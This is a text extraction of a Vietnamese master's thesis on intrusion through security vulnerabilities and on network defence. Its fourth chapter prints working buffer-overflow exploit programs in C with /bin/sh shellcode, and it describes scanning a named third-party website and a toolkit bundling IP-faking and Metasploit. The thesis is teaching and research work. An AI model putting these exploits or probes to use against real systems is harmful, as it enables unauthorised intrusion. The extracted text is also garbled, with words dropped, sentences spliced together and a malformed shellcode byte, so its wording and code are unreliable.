Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 88 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
88
Dung lượng
2,17 MB
Nội dung
-I- ĐẠI HỌC THÁI NGUYÊN TRƢỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN & TRUYỀN THÔNG LỜI CẢM ƠN Trƣớc tiên xin chân thành cảm ơn TS Nguyễn Ngọc Cƣơng, Học Viện An Ninh Nhân Dân, ngƣời định hƣớng tận tình hƣớng dẫn, giúp đỡ tơi suốt q trình thực luận văn Tơi xin chân thành cảm ơn thầy cô giáo khoa Công nghệ Thông tin, trƣờng Đại TRƢƠNG HỒNG TIỆP học Công nghệ Thơng Tin & TT, ngƣời tận tình truyền đạt kiến thức, quan tâm, động viên suốt thời gian học tập nghiên cứu Trƣờng Tôi xin chân thành cảm ơn Trƣờng Đại học Điều Dƣỡng Nam Định – Đơn vị mà công tác tạo điều kiện thời gian nhƣ vật chất, tinh thần để tơi hồn thành nhiệm vụ học tập Nhân cho phép tơi gửi lời cảm ơn tới nhóm bạn học lớp CK09D, lớp chuyên ngành Khoa học Máy Tính, bạn đồng nghiệp thƣờng xuyên quan tâm, giúp đỡ, chia sẻ kinh nghiệm, cung cấp tài liệu hữu ích thời gian tơi học tập, nghiên cứu Trƣờng nhƣ trong trình thực luận văn tốt nghiệp vừa qua Cuối xin bảy tỏ biết ơn sâu sắc đến cha mẹ, ngƣời thân gia đình ln bên tôi, động viên, chia sẻ dành cho tơi tốt đẹp suốt thời gian học cao học nhƣ THÂM thời NHẬP gian thực luận vănMÁY tốt nghiệp NGHIÊN CỨU CƠ CHẾ HỆhiện THỐNG TÍNH THƠNG QUA LỖ HỔNG BẢO MẬT VÀ ỨNG DỤNG TRONG CÔNG TÁC BẢO ĐẢM AN NINH MẠNG Thái Nguyên, tháng 11 năm 2012 Trƣơng Hồng Tiệp Số hóa Trung tâm Học liệu – Đại học Thái Nguyên Tai ngay!!! Ban co the xoa dong chu nay!!! http://www.lrc-tnu.edu.vn - II - LỜI CAM ĐOAN Tôi xin cam đoan luận văn ―Nghiên cứu chế thâm nhập hệ thống máy tính thơng qua lỗ hổng bảo mật ứng dụng công tác đảm bảo an ninh mạng‖ cơng trình nghiên cứu tơi dƣới hƣớng dẫn khoa học TS Nguyễn Ngọc Cƣơng, tham khảo nguồn tài liệu đƣợc rõ trích dẫn danh mục tài liệu tham khảo Các nội dung cơng bố kết trình bày luận văn trung thực chƣa đƣợc cơng bố cơng trình Thái Nguyên, tháng 11 năm 2012 Trƣơng Hồng Tiệp Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - III - MỤC LỤC LỜI CẢM ƠN .I LỜI CAM ĐOAN II MỤC LỤC III DANH MỤC CÁC HÌNH VẼ VÀ BẢNG BIỂU VI MỞ ĐẦU Chƣơng 1: TỔNG QUAN VỀ BẢO MẬT HỆ THỐNG MÁY TÍNH 1.1 An tồn bảo mật thông tin 1.1.1 Khái niệm an tồn bảo mật thơng tin 1.1.2 Hệ thống tài sản hệ thống máy tính 1.1.3 Đặc trƣng kỹ thuật an toàn bảo mật 1.1.4 Các mức an toàn bảo mật 1.2 Lỗ hổng bảo mật 1.2.1 Khái niệm lỗ hổng bảo mật 1.2.2 Các loại lỗ hổng bảo mật 1.2.3 Một số lỗ hổng bảo mật phổ biến 1.3 Nguy bị công hệ thống máy tính 15 1.3.1.Tấn cơng hệ thống máy tính qua mạng 15 1.3.2.Một số kỹ thuật công 16 Chƣơng 2: PHƢƠNG PHÁP THÂM NHẬP HỆ THỐNG MÁY TÍNH DỰA TRÊN KHAI THÁC LỖ HỔNG BẢO MẬT 20 2.1.Tấn công Injection 20 2.1.1 Khái niệm 20 2.1.2 Các dạng công SQL Injection 20 Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - IV - 2.1.3 Phịng chống cơng Injection 22 2.2 Tấn công từ chối dịch vụ 23 2.2.1 Tấn công thông qua kết nối (SYN Flood) 24 2.2.2 Lợi dụng tài nguyên nạn nhân để công 25 2.2.3 Tấn công từ chối dịch vụ phân tán (Distribute Denial of Service) 25 2.2.4 Tấn công từ chối dịch vụ phản xạ nhiều vùng (Distribute Reflection Denial of Service) 29 2.2.5 Tấn công từ chối dịch vụ sử dụng nguồn tài ngun khác 29 2.2.6 Phịng chống cơng từ chối dịch vụ 30 2.3 Tấn công tràn đệm (Buffer Overflow) 31 2.3.2 Cơ chế khai thác lỗi tràn đệm 38 2.3.3 Phòng chống công tràn đệm 38 2.4 Tổng kết phƣơng thức khai thác lỗ hổng bảo mật để cơng hệ thống máy tính 40 Chƣơng 3: MỘT SỐ GIẢI PHÁP ĐẢM BẢO AN NINH CHO HỆ THỐNG MÁY TÍNH 41 3.1 Thiết kế giải pháp an toàn an ninh cho hệ thống 41 3.1.1 Các chiến lƣợc an toàn hệ thống 41 3.1.2 Các mức bảo vệ mạng 42 3.1.3 Các bƣớc để xây dựng giải pháp tổng thể 44 3.2 Giải pháp Firewall 45 3.2.1 Khái niệm 45 3.2.2 Phân loại Firewall 45 3.2.3 Kiến trúc hệ thống mạng sử dụng Firewall 47 3.3 Giải pháp mạng riêng ảo (VPN) 49 Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn -V- 3.3.1 Khái niệm 49 3.3.2 Các mơ hình triển khai VPN 49 3.4 Hệ thống phát xâm nhập (IDS) 50 3.4.1 Khái niệm 50 3.4.2 Chức IDS 51 3.4.3 Kiến trúc hệ thống IDS 52 3.4.4 Cách thức IDS làm việc 52 3.4.5.Một số phƣơng pháp phát xâm nhập IDS 56 Chƣơng 4: CÀI ĐẶT THỬ NGHIỆM CHƢƠNG TRÌNH KHAI THÁC LỖ HỔNG BẢO MẬT TRÊN HỆ THỐNG MÁY TÍNH 57 4.1 Xây dựng chƣơng trình khai thác lỗi tràn đệm 57 4.1.1 Shellcode 58 4.1.2 Viết chƣơng trình khai thác lỗi tràn đệm 63 4.2 Cài đặt thử nghiệm công cụ bảo mật sử dụng công tác đảm bảo an ninh hệ thống mạng 73 4.2.1 Tìm hiểu số phần mềm bảo mật 73 4.2.2 Xây dựng công cụ 76 KẾT LUẬN 79 TÀI LIỆU THAM KHẢO 80 Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - VI - DANH MỤC CÁC HÌNH VẼ VÀ BẢNG BIỂU Hình 1-1 Kiến trúc Ứng dụng Web Bảng 1-2 Các công nghệ thông tin quan trọng mà hacker muốn nhận diện 15 Hình 2-1 Minh họa cơng DoS 24 Hình 2-2 Tấn cơng từ chối dịch vụ thơng qua kết nối 24 Hình 2-3 Mơ hình cơng DdoS 26 Hình 2-4 Sơ đồ phân loại kiểu cơng DDoS 27 Hình 2-5 : Kiến trúc attack – network kiểu Agent – Handler 27 Hình 2-6 Kiến trúc attack – network kiểu IRC – Based 28 Hình 2-7 Mơ hình cơng theo kiểu DRDoS 29 Hình 2-8 Mơ hình cơng Smurf attack 30 Hình 2-9 Mơ hình cơng Teardrop Attack 30 Hình 2-10 Đoạn code chứa lỗi tràn đệm 32 Hình 2-11 Giá trị khởi tạo liệu nhớ đệm 33 Hình 2-12 Ghi xâu ký tự vào đệm 33 Hình 2-13 Tổ chức nhớ tiến trình 33 Hình 2.14: Hoạt động liệu Stack 34 Hình 2-15 Bƣớc khởi tạo hàm 37 Hình 2-16 Hai ghi trỏ đến địa 37 Hình 2-17 Lệnh thứ ba đƣợc thực 38 Hình 3-1 Quy trình để xây dựng giải pháp cụ thể 44 Hình 3-2 Packet filtering firewall 46 Hình 3-3 Circuitlevel gateway 46 Hình 3-4 Application level gateway 47 Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - VII - Hình 3-5 Stateful multilayer inspection Firewall 47 Hình 3-6 Kiến trúc hệ thống mạng sử dụng Firewall 47 Hình 3-7 Các thành phần hệ thống Firewall 48 Hình 3-8 Giải pháp IPSec VPN 50 Hình 3-8 Giải pháp SSL VPN 50 Hình 3-9 Hệ thống mạng sử dụng IDS 51 Hình 3-10 Kiến trúc hệ thống IDS 52 Hình 3-11 Network-Based IDS (NIDS) 53 Hình 3-12 Host Based IDS (HIDS) 54 Hình 3-13 Hệ thống phát xâm nhập phân tán (DIDS) 56 Hình 4-1 Tổ chức shellcode nhớ 61 Hình 4-2 Trạng thái stack trƣớc sau tràn đệm 61 Hình 4-3 Các khả xếp biến stack 62 Hình 4-4 Kết xác định địa Shellcode 63 Hình 4-5 Kết truyền Shellcode vào điệm 67 Hình 4-6 Kết truyền Shellcode vào biến môi trƣờng 69 Hình 4-7 Kết chạy chƣơng trình khai thác lỗi 71 Hình 4-8 Kết chạy chƣơng trình kiểm tra hoạt động Stack 72 Hình 4-9 Giao diện phần mềm Spade 73 Hình 4-10 Thơng tin thu đƣợc từ Website 74 Hình 4.11 Giao diện chƣơng trình Web Vulnerability Scanner 75 Hình 4-12 Giao diện phần mềm Nmap 76 Hình 4-13 Giao diện cơng cụ bảo mật 77 Hình 4-14 Hiển thị chức cơng cụ 78 Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn -1- MỞ ĐẦU Trong năm gần đây, việc xâm nhập, công mạng hacker tội phạm mạng nhằm vào hệ thống máy tính Việt Nam giới có xu hƣớng ngày gia tăng, gây nhiều hậu nghiêm trọng kinh tế trị Các cơng vào hệ thống máy tính đƣợc tiến hành nhiều kỹ thuật khác Trong đó, đặc biệt có công thông qua khai thác lỗ hổng bảo mật hệ thống ứng dụng Do số ứng dụng thƣờng sử dụng mã nguồn mở nên có nhiều lỗi gây lỗ hổng, dẫn đến hệ thống sử dụng phần mềm bị cơng Chính vậy, việc tìm kiếm, phát lỗ hổng hệ thống máy tính để hiểu đƣợc chế kỹ thuật xâm nhập chúng cần thiết phòng chống công hacker vào hệ thống Đây lý để lựa chọn đề tài: “Nghiên cứu chế thâm nhập hệ thống máy tính thông qua lỗ hổng bảo mật ứng dụng công tác đảm bảo an ninh mạng” Mục tiêu đề tài Tìm hiểu lỗ hổng bảo mật hệ thống ứng dụng, chất trình thâm nhập công hacker vào hệ thống máy tính thơng qua khai thác lỗ hổng bảo mật đƣa phƣơng pháp phòng tránh đảm bảo an ninh máy tính mạng máy tính Nội dung nghiên cứu Nghiên cứu, tìm hiểu số lỗ hổng bảo mật phổ biến hệ thống máy tính nhƣ: lỗ hổng bảo mật ứng dụng Web, Internet Explorer, Window Microsoft, Nghiên cứu phƣơng pháp thâm nhập hệ thống máy tính sở khai thác lỗ hổng bảo mật nhƣ: Buffer Overflow (tràn đệm), công từ chối dịch vụ, cơng Injection, Viết chƣơng trình thử nghiệm công kết hợp phƣơng pháp gây tràn đệm cài đặt vào máy cần công thông qua lỗ hổng bảo mật Nghiên cứu phƣơng pháp, cơng cụ để dị tìm, phát lỗ hổng bảo mật thông qua công cụ bảo mật nhƣ: Retina, Backtrack, Đề xuất số phƣơng pháp kiểm tra phát xâm nhập Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn -2- Phƣơng pháp nghiên cứu Phƣơng pháp tổng hợp: thu thập tài liệu, đối chiếu, so sánh, phân tích, liệt kê, đối sánh, trực quan, thực nghiệm, Phƣơng pháp chuyên gia: tìm hiểu hệ thống máy tính, xây dựng hệ thống hồn chỉnh, phần mềm phát lỗ hổng bảo mật, thâm nhập hệ thống Nghiên cứu ngơn ngữ lập trình để viết chƣơng trình gây tràn đệm Phƣơng pháp thực nghiệm: sử dụng mạng máy tính để thực hành xâm nhập thơng qua lỗ hổng bảo mật Cấu trúc luận văn Chƣơng 1: TỔNG QUAN VỀ BẢO MẬT HỆ THỐNG MÁY TÍNH 1.1 An tồn bảo mật thơng tin 1.1.1 Khái niệm an tồn bảo mật thơng tin Ngày nay, với phát triển bùng nổ công nghệ thông tin, hầu hết thông tin tổ chức, doanh nghiệp nhƣ chiến lƣợc kinh doanh, thông tin khách hàng, điều đƣợc lƣu trữ hệ thống máy tính Cùng với phát triển quan, tổ chức, doanh nghiệp đòi hỏi ngày cao mơi trƣờng làm việc nhanh chóng, hiệu nên thông tin cần đƣợc chia sẻ cho nhiều đối tƣợng khác thông qua môi trƣờng Intranet hay Internet Việc mát, rị rỉ thơng tin ảnh hƣởng nghiêm trọng đến tài chính, danh tiếng, quan, tổ chức Các phƣơng thức công thông qua mạng ngày tinh vi, phức tạp dẫn đến mát thơng tin, chí làm sụp đổ hồn tồn hệ thống thơng tin tổ chức Vì an tồn bảo mật thơng tin nhiệm vụ nặng nề khó đốn trƣớc đƣợc An tồn bảo mật (an ninh) thơng tin cách bảo vệ, đảm bảo cho tất thành phần hệ thống máy tính bao gồm liệu, thiết bị, sở hạ tầng mạng, đảm bảo tài nguyên đƣợc sử dụng tƣơng ứng với sách hoạt động đƣợc ấn định với ngƣời có thẩm quyền tƣơng ứng An tồn bảo mật thơng tin gồm hƣớng sau: - Đảm bảo an tồn thơng tin máy chủ - Bảo đảm an tồn thơng tin phía máy trạm - Bảo đảm an tồn thơng tin đƣờng truyền An tồn bảo mật thơng tin bao gồm: Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn -3- - Xác định sách khả năng, nguy xâm phạm hệ thống máy tính, cố rủi ro thiết bị, liệu hệ thống để có giải pháp phù hợp đảm bảo an tồn cho hệ thống - Đánh giá nguy công hacker tác động đến hệ thống, phát tán virus An tồn bảo mật hệ thống thơng tin vấn dề quan trọng hoạt đọng, giao dịch điện tử việc khai thác, sử dụng tài nguyên hệ thống - Xác định xác cấp độ an tồn, đánh giá nguy cơ, lỗ hổng khiến hệ thống bị xâm phạm thơng qua cách tiếp cận có cấu trúc Xác định nguy ăn cắp, phá hoại máy tính, thiết bị, nguy virus, bọ gián điệp, nguy xóa, phá hoại CSDL, ăn cắp mật khẩu, nguy hoạt động hệ thống nhƣ nghẽn mạng, nhiễu điện tử Khi đánh giá đƣợc hết nguy ảnh hƣởng tới an ninh mạng có đƣợc biện pháp tốt để đảm bảo an toàn cho hệ thống - Sử dụng hiệu công cụ bảo mật (nhƣ Firewall ) biện pháp, sách cụ thể chặt chẽ 1.1.2 Hệ thống tài sản hệ thống máy tính Hệ thống tập hợp máy tính gồm thành phần phần cứng, phần mềm liệu làm việc đƣợc tích lũy qua thời gian Tài sản hệ thống bao gồm: - Phần cứng - Phần mềm - Dữ liệu - Các truyền thơng máy tính hệ thống - Môi trƣờng làm việc - Con ngƣời 1.1.3 Đặc trưng kỹ thuật an toàn bảo mật - Xác thực (Authentification): Kiểm tra tính xác thực thực thể giao tiếp mạng Một thực thể ngƣời sử dụng, chƣơng trình máy tính, thiết bị phần cứng Các hoạt động kiểm tra tính xác thực đƣợc đánh giá quan trọng hoạt động phƣơng thức bảo mật Một hệ thống thông thƣờng phải thực kiểm tra tính xác thực phƣơng thức bảo mật dựa vào mơ hình sau: + Đối tƣợng cần kiểm tra phải cung cấp thơng tin trƣớc, ví dụ nhƣ password, mã số thông tin cá nhân PIN (Personal Infomation Number) + Kiểm tra dựa vào mô hình thơng tin có, đối tƣợng kiểm tra cần phải thể thông tin mà chúng sở hữu, ví dụ nhƣ Private Key, số thẻ tín dụng Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 67 - Kết chạy chƣơng trình: Hình 4-5 Kết truyền Shellcode vào điệm Chƣơng trình làm tràn đệm cho trỏ lệnh trỏ đến đoạn mã tạo giao tiếp dòng lệnh (ở /bin/sh) Sau chƣơng trình thực làm tràn đệm, tìm đến địa đoạn mã để thực thi tiếp Nếu chƣơng trình bị tràn đƣợc chạy dƣới quyền có đƣợc giao tiếp dịng lệnh với quyền tƣơng đƣơng điều khiển toàn hệ thống máy đối tƣợng - Truyền Shellcode vào biến môi trường: Thông thƣờng ta sử dụng biến môi trƣờng (environment) tham số dòng lệnh (argument) để chứa shellcode Do biến đƣợc cấp stack, nhiên sử dụng biến môi trƣờng thƣờng đơn giản hiệu Với shellcode đƣợc chứa biến môi trƣờng, đệm dùng để làm tràn chứa toàn giá trị địa biến chứa shellcode Chƣơng trình exploit1.c đƣợc sửa lại nhƣ sau (có thêm tham số kích thƣớc đệm chứa shellcode) /*exploit2.c*/ #include #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 // mã Assembly lệnh NOP Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 68 - char shellcode[] = ―\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50‖ ―\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80‖; unsigned long get_sp( void) { asm(―movl %esp, %eax‖); } void main (int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset = DEFAULT_OFFSET; int bsize = DEFAULT_BUFFER_SIZE; int i; int eggsize = DEFAULT_EGG_SIZE; if (argc < 2) { printf(―Usage: %s target [bsize offset eggsize]\n‖, argv[0]); exit(0); } if (argc > 2) bsize = atoi(argv[2]); if (argc > 3) offset = atoi(argv[3]); if (argc > 4) eggsize = atoi(argv[4]); if (!(buff = malloc(bsize))) { printf(―khong the xac dinh duoc bo nho.\n‖); exit(0); } if (!(egg = malloc(eggsize))) { printf(―khong the xac dinh duoc bo nho.\n‖); exit(0); } addr = get_sp() – offset; printf(―su dung dia chi: 0x%x\n‖, addr); Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 69 - /*bộ đệm làm tràn chứa toàn địa shellcode*/ ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; /*NOP shellcode đặt biến môi trường*/ ptr = egg; for (i = 0; i < eggsize – strlen(shellcode); i++) buff[i] = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize – 1] = ‗\0‘; egg[eggsize – 1] = ‗\0‘; setenv(―EGG‖, egg, 1); execl(argv[1], argv[1], buff, NULL); } Kết chạy chƣơng trình: Hình 4-6 Kết truyền Shellcode vào biến mơi trường Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 70 - Kết chạy chƣơng trình cơng tƣơng tự nhƣ chạy chƣơng trình exploit1.c nhƣng mà chƣơng trình exploit2.c cơng vào chƣơng trình bị tràn đệm với kích thƣớc nhỏ nhƣ overflow.c Cơng thức tính địa shellcode: addr = 0xBFFFFFFA – strlen(prog_name) – strlen(shellcode); Chƣơng trình khai thác lỗi đƣợc viết lại nhƣ sau: /*Chương trình exploit3.c*/ #include #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 // mã Assembly lệnh NOP char shellcode[] = ―\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50‖ ―\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80‖; void main (int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int bsize = DEFAULT_BUFFER_SIZE; int i; char *env[2] = {shellcode, NULL}; if (argc < 2) { printf(―Usage: %s target [bsize offset]\n‖, argv[0]); exit(0); } if (argc > 2) bsize = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf(―khong the xac dinh duoc bo nho.\n‖); exit(0); } addr = 0xbffffffa – strlen(shellcode) – strlen(argv[1]); printf(―su dung dia chi: 0x%x\n‖, addr); /*bộ đệm làm tràn chứa toàn địa shellcode*/ ptr = buff; Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 71 - addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; buff[bsize – 1] = ‗\0‘; execle(argv[1], argv[1], buff, NULL, env); } Kết chạy chƣơng trình: Hình 4-7 Kết chạy chương trình khai thác lỗi Ở có giao tiếp dịng lệnh điều khiển hệ thống máy đối tƣợng - Chương trình kiểm tra hoạt động Stack: Để kiểm tra xem hệ thống có cho thực chƣơng trình stack khơng (vì đệm nằm stack), sử dụng chƣơng trình sau: #include #include char bytecode[] = ―\x31\xc0\x31\xbd\x31\xc9\x31\xd2\xeb\x11\x59\xb3\x01\xb2\x08\xb0‖ ―\x04\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\xe8\xea\xff\xff\xff‖ ―\x47\x6f\x74\x63\x68\x61\x21\x0a‖; Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 72 - int main() { char buf[500] = ―nhap vao ky tu bat ky:‖; unsigned long *ptr = (unsigned long *) buf; // di chuyển trỏ unsigned long buf_addr = (unsigned long) ptr; // địa đệm /*tràn đệm địa trả về*/ int i; for (i = 0;i < 200; i++) *ptr++ = buf_addr; strcpy(buf, bytecode); return 0; } Kết chạy chƣơng trình: Hình 4-8 Kết chạy chương trình kiểm tra hoạt động Stack Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 73 - 4.2 Cài đặt thử nghiệm công cụ bảo mật sử dụng công tác đảm bảo an ninh hệ thống mạng 4.2.1 Tìm hiểu số phần mềm bảo mật - Phần mềm tra cứu thông tin Domain, Email, IP (Sam Spade): Sam spade phần mềm bảo mật mạnh có tích hợp nhiều cơng cụ giúp ta thu thập đƣợc thông tin cần thiết Website, email, địa ip Các công cụ nhƣ Whois, nslookup, traceroute, đƣợc tích hợp Sam spade dƣới dạng giao diện đồ họa nên dễ sử dụng hoạt động hiệu Kết từ cơng cụ đƣợc sử dụng tiếp cho cơng cụ khác Tính SMTP Verify tool phần mềm giúp ta kiểm tra địa email spam đƣợc gửi trực tiếp từ địa hay địa chuyển tiếp (forward) từ địa khác Ngồi ra, Sam Spade cịn có khả giữ đƣờng truyền PC bạn ISP cách thƣờng xuyên gửi gói liệu HTTP tới máy chủ Web ISP Hơn nữa, tiện ích cịn tích hợp trình duyệt riêng, chƣơng trình thực việc kiểm tra so sánh địa spammer lộng hành máy tính với sở liệu www.abuse.net , nhằm tìm xác thủ phạm có Để kiểm tra thông tin trang Web mục tiêu, đánh địa nsc500.com vào trƣờng nhập địa chỉ, sau tiến hành tra cứu thơng tin liên quan đến trang Web này, nhƣ: địa ip, phiên máy chủ Web, Hình 4-9 Giao diện phần mềm Spade Trong Hình 4-9, tiến hành tracerouter tên miền nsc500.com Kết trình cho ta biết địa IP trang Web 203.128.246.134, từ máy kiểm tra đến máy mục tiêu có sử dụng router khác Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 74 - Cũng trình này, sử dụng chức Web chƣơng trình này, ta thu đƣợc HTTP Header máy chủ đặt trang nhƣ sau: Hình 4-10 Thơng tin thu từ Website Hình cho ta biết thơng số máy chủ Web nhƣ sau: sử dụng phƣơng thức GET để lấy thông tin, giao thức đƣợc sử dụng HTTP version 1.1, máy chủ Web sử dụng Microsoft-IIS/6.0, cho ta biết định dạng cookie mà máy chủ Web đƣợc sử dụng, - Phần mềm quét lỗ hổng Cunetix Web Vulnerability Scanner: Là chƣơng trình tự động kiểm tra ứng dụng Web để tìm kiếm lỗ hổng bảo mật nhƣ SQL Injection, hay Cross-Site Scripting,… tìm kiếm sách mật đăng nhập nhƣ phƣơng thức xác thực vào Web Site Nhƣ thƣờng thấy, lỗi bảo mật Việt Nam tập trung vào lỗ hổng nguy hiểm mà công cụ Scan cao cấp quét thấy Nhƣng hầu hết admin dƣờng nhƣ quên mất, đến lỗ hổng dễ phát Sau cài đặt, để chạy chƣơng trình ta chạy file wvs.exe Để tiến hành quét lỗ hổng trang Web có địa http://nsc500.com, ta cần nhập địa vào Start URL bắt đầu tiến hành quét, thu đƣợc kết nhƣ sau: Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 75 - Hình 4.11 Giao diện chương trình Web Vulnerability Scanner Acunetix WVS công cụ quét lỗi cho ứng dụng Web dựa sở liệu rộng lớn đƣợc cập nhật thƣờng xuyên, với thuật toán heuristic đáp ứng đƣợc chế họat động phức tạp môi trƣờng Web Acunetix WVS tự động kiểm tra lổ hỗng thơng dụng nhƣ cross site scripting, sql injection mối nhạy cảm khác Web site truy cập trình duyệt, hay ứng dụng đƣợc xây dụng kỹ thuật tiên tiến nhƣ AJAX để thực đƣợc điều Acunetix WVS dựa nhiều phƣơng pháp cơng cụ tích hợp để: Lấy (crawling) toàn Website gồm tất liên kết site tập tin robots.txt sau hiển thị toàn cấu trúc cách chi tiết • Sau tiến trình cwarling khám phá tình trạng ứng dụng Web, Acunetix WVS tự động phát động đợt cơng đƣợc lập trình sẵn dựa lổ hổng, giống nhƣ Web site bị hacker cơng thực sự, phân tích trang vị trí nhập liệu với kết hợp khác liệu đầu vào làm cho Website hiển thị thơng tin nhạy cảm Sau tìm đƣợc lổ hổng, Acunetix WVS thông báo “Alerts Node”, alert gồm thông tin lỗi nhƣ mối nguy hiểm gặp phải “dĩ nhiên” kèm theo khuyến nghị cách thức khắc phục Sau tiến trình kiểm tra hồn tất, lƣu lại thành tập tin để phân tích sau này, với cơng cụ báo cáo chuyên nghiệp giúp cho nhà quản trị Web dễ dàng tổng hợp kết kiểm tra khác ứng dụng Web Mức độ bảo mật Website đƣợc AWV đánh giá từ mức thấp, trung bình, cao Nếu Website bạn đƣợc liệt kê mức thấp phải vá lỗi nhanh AWV liệt kê Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 76 - - Phần mềm quét cổng Nmap: Nmap công cụ để scanning Scanning hay gọi quét mạng bƣớc khơng thể thiếu đƣợc q trình cơng vào hệ thống mạng hacker Nếu scanning tốt, hacker nhanh chóng phát đƣợc lỗi hệ thống, từ sử dụng đoạn mã độc hại, cơng cụ khai thác để cơng hệ thống Nmap giúp ngƣời quản trị tìm đƣợc lỗi hệ thống, đồng thời đƣa giải pháp để sửa lỗi nhƣ cập nhật dịch vụ, vá, hay sách hợp lý Phần mềm Nmap có phiên dành cho Window dành cho Linux Ở đây, luân văn giới thiệu phiên dành cho Window Hình 4-12 Giao diện phần mềm Nmap Cấu trúc lệnh Nmap: nmap [ kiểu quét ] [tùy chọn ] 4.2.2 Xây dựng công cụ Hiện nay, phần mềm hãng tin học đƣa đƣợc hacker sử dụng có hiệu khai thác lỗ hổng bảo mật Đó phần mềm: Samspade, Nmap, Web Vulnerability Scaner, Retina, Để chủ động sử dụng để kiểm tra khai thác nghiên cứu, thử nghiệm, đánh giá phần mềm để có sở vận dụng vào cơng tác điều tra Trên sở đó, chúng tơi tích hợp phần mềm để tạo nên công cụ đa ứng dụng vào thực tiễn Bộ cơng cụ có chức quét, phát lỗ hổng bảo mật máy chủ, Website, khai thác lỗ hổng, công cụ giám sát, thu thập thông tin mục tiêu Các phần mềm tích hợp cơng cụ này: Các phần mềm sử dụng để giám sát, thu thập thông tin mục tiêu Internet: Auto Hide IP 5.1.1.2 : Dùng để Fake địa IP Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 77 - IP Info : Dùng để xem thông tin địa IP: Nhà cung cấp, chủ thuê bao, Mail, Phone number Sam Spade 1.14: Thu thập thông tin Domain, IP Zenmap: Quét cổng Các phần mềm để kiểm tra lỗ hổng bảo mật Server: Acunetix Web Vulnerability Scaner, Retina Các phần mềm khai thác lỗ hổng bảo mật Website: Metasploit Các phần mềm để tạo phần mềm tích hợp Tools bảo mật:UtraISO, AutoPlay Media Studio Trial Hình 4-13 Giao diện cơng cụ bảo mật Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 78 - Hình 4-14 Hiển thị chức cơng cụ Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 79 - KẾT LUẬN Sau thời gian nghiên cứu tìm hiểu, vận dụng kiến thức học vào yêu cầu thực tế đề tài luận văn, luận văn thực đƣợc công việc sau: - Tìm hiểu cơng tin học kỹ thuật thâm nhập máy tính - Tìm hiểu giải pháp đảm bảo cho an ninh máy tính, phát xâm nhập tin tặc hacker, tìm chiến lƣợc an toàn cho hệ thống, mức bảo vệ mạng máy tính nhƣ: mạng riêng ảo(VPN), Dos, DDos, DRDos, Smurf attack, Teardrop Attack, Host Based IDS (HIDS), IDS, DIDS, Firewall… - Tìm hiểu lỗi tràn đệm, tổ chức nhớ tiến trình (process), thao tác nhớ stack gọi hàm kỹ thuật để tạo shellcode – đoạn mã thực thi giao tiếp dòng lệnh (shell) - Tìm hiểu kỹ thuật tràn đệm bản, tổ chức shellcode, xác định địa trả về, địa shellcode, cách truyền shellcode cho chƣơng trình bị lỗi.Sử dụng chƣơng trình cơng tràn đệm máy chỗ tìm hiểu phƣơng pháp phịng tránh lỗi tràn đệm, thử nghiệm công cụ bảo mật sử dụng công tác đảm bảo an ninh hệ thống mạng Các chƣơng trình dùng đển cơng máy tính chỗ (local) đối tƣợng, chƣơng trình cơng vào mạng riêng ảo(VPN), Dos, DDos, DRDos, Smurf attack, Teardrop Attack, Host Based IDS (HIDS), IDS, DIDS, Firewall, lỗi tràn đệm để chạy đoạn shellcode mà ta chèn vào Shellcode làm đƣợc nhiều thứ, từ việc điều chỉnh hệ thống hay download thực thi tập tin từ Internet việc gửi email ngồi Chƣơng trình dừng lại việc công vào chƣơng trình bị tràn đệm để chạy đoạn shellcode thực giao tiếp dịng lệnh thành 